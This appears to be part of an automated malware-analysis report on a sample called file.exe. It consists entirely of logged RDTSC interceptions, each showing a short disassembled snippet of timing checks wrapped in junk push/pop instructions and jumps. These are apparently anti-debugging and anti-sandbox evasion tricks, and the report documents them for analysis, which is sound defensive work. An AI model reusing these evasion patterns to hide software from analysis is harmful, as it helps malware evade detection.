Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC63F second address: CFC645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC7D6 second address: CFC7E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a ja 00007F9C04B939F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC7E6 second address: CFC7EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC7EE second address: CFC7F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC94A second address: CFC94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFCAC3 second address: CFCAC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFCAC9 second address: CFCB28 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9C04EA4D4Eh 0x00000008 jmp 00007F9C04EA4D30h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 jmp 00007F9C04EA4D37h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86457 second address: C8645B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0459E second address: D045D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D39h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jnp 00007F9C04EA4D26h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F9C04EA4D26h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D045D0 second address: D045D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04716 second address: D0471A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0471A second address: D0476C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9C04B939FBh 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007F9C04B93A03h 0x00000014 jbe 00007F9C04B939FCh 0x0000001a pushad 0x0000001b jp 00007F9C04B939F6h 0x00000021 jl 00007F9C04B939F6h 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9C04B939FCh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0476C second address: D04770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04A19 second address: D04A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04E6D second address: D04E96 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9C04EA4D3Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F9C04EA4D26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04FAF second address: D04FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007F9C04B939F6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F9C04B939F6h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05137 second address: D05169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9C04EA4D34h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05169 second address: D05179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0548F second address: D054A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D31h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0895D second address: D08970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08970 second address: D0898E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F9C04EA4D26h 0x00000009 jmp 00007F9C04EA4D2Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F9C04EA4D26h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3A43 second address: CC3A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3BEB second address: CC3C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a add dword ptr [esp], 5127A4C0h 0x00000011 mov edi, dword ptr [ebp+122D3D51h] 0x00000017 call 00007F9C04EA4D29h 0x0000001c push ebx 0x0000001d pushad 0x0000001e jmp 00007F9C04EA4D37h 0x00000023 jbe 00007F9C04EA4D26h 0x00000029 popad 0x0000002a pop ebx 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC456C second address: CC45F9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9C04B93A09h 0x0000000f popad 0x00000010 push eax 0x00000011 je 00007F9C04B93A0Dh 0x00000017 nop 0x00000018 mov edi, dword ptr [ebp+122D3AF1h] 0x0000001e push 0000001Eh 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F9C04B939F8h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a call 00007F9C04B93A06h 0x0000003f mov dx, cx 0x00000042 pop ecx 0x00000043 mov di, si 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c pushad 0x0000004d popad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4728 second address: CC472E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC472E second address: CC4753 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jnl 00007F9C04B939F6h 0x00000015 jmp 00007F9C04B939FCh 0x0000001a popad 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4AD2 second address: CC4B1F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9C04EA4D34h 0x00000008 jmp 00007F9C04EA4D2Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D376Eh], eax 0x00000016 lea eax, dword ptr [ebp+124872D6h] 0x0000001c mov dword ptr [ebp+122D36E6h], ebx 0x00000022 nop 0x00000023 jmp 00007F9C04EA4D36h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c js 00007F9C04EA4D26h 0x00000032 pop ebx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4B1F second address: CC4B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4B25 second address: CC4B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4B29 second address: CAEBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F9C04B939F8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov edx, dword ptr [ebp+122D3720h] 0x00000029 and dx, 1EE3h 0x0000002e mov dh, F8h 0x00000030 call dword ptr [ebp+122D2DA4h] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F9C04B939FDh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08F3E second address: D08F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08F58 second address: D08F66 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0921C second address: D09220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09220 second address: D09236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F9C04B939F6h 0x00000010 je 00007F9C04B939F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09236 second address: D09264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F9C04EA4D32h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09264 second address: D0926A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D094D0 second address: D094D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D094D7 second address: D094E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F9C04B939FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E177 second address: D0E17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E17B second address: D0E193 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9C04B939FEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E193 second address: D0E19D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C04EA4D3Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DA6D second address: D0DA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9C04B939F6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DBE9 second address: D0DBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DBED second address: D0DBF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DEAD second address: D0DEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D2Bh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DEC2 second address: D0DEC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DEC6 second address: D0DED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9C04EA4D26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DED6 second address: D0DEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DEDA second address: D0DEDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D104E6 second address: D10505 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C04B939FAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007F9C04B93A00h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10505 second address: D10543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jbe 00007F9C04EA4D43h 0x0000000e jmp 00007F9C04EA4D2Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10543 second address: D10547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1265A second address: D1267E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F9C04EA4D45h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C04EA4D37h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1540D second address: D15411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1846A second address: D18477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9C04EA4D26h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18477 second address: D1847F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1847F second address: D18483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18483 second address: D18487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18487 second address: D1848D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18769 second address: D1876D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D08 second address: D18D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D0E second address: D18D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F9C04B939F8h 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D23 second address: D18D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D31 second address: D18D37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D7FE second address: D1D804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D804 second address: D1D80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D80D second address: D1D811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D811 second address: D1D819 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D9A6 second address: D1D9B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jo 00007F9C04EA4D2Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC440C second address: CC4428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B93A07h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4428 second address: CC442D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DC6D second address: D1DC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DC75 second address: D1DCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnp 00007F9C04EA4D26h 0x0000000e popad 0x0000000f pushad 0x00000010 ja 00007F9C04EA4D26h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007F9C04EA4D32h 0x00000024 jmp 00007F9C04EA4D36h 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d jmp 00007F9C04EA4D2Eh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E6A9 second address: D1E6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E6AD second address: D1E6B7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28C31 second address: D28C36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26B91 second address: D26BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F9C04EA4D26h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F9C04EA4D26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26BA8 second address: D26BBF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9C04B939FEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26D43 second address: D26D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26ED4 second address: D26EE3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C04B939F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D271BF second address: D271D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04EA4D2Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D271D3 second address: D271F6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C04B939F6h 0x00000008 jmp 00007F9C04B93A05h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D271F6 second address: D271FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D271FA second address: D27200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27200 second address: D27210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27210 second address: D27214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27214 second address: D2721E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2721E second address: D2723A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A07h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2723A second address: D27257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9C04EA4D26h 0x0000000a jmp 00007F9C04EA4D31h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D277FD second address: D2780A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F9C04B939F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2780A second address: D27820 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F9C04EA4D28h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D303F2 second address: D30448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F9C04B93A04h 0x0000000f pop edi 0x00000010 jmp 00007F9C04B939FAh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9C04B93A08h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D306B9 second address: D306D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D34h 0x00000009 popad 0x0000000a rdtsc
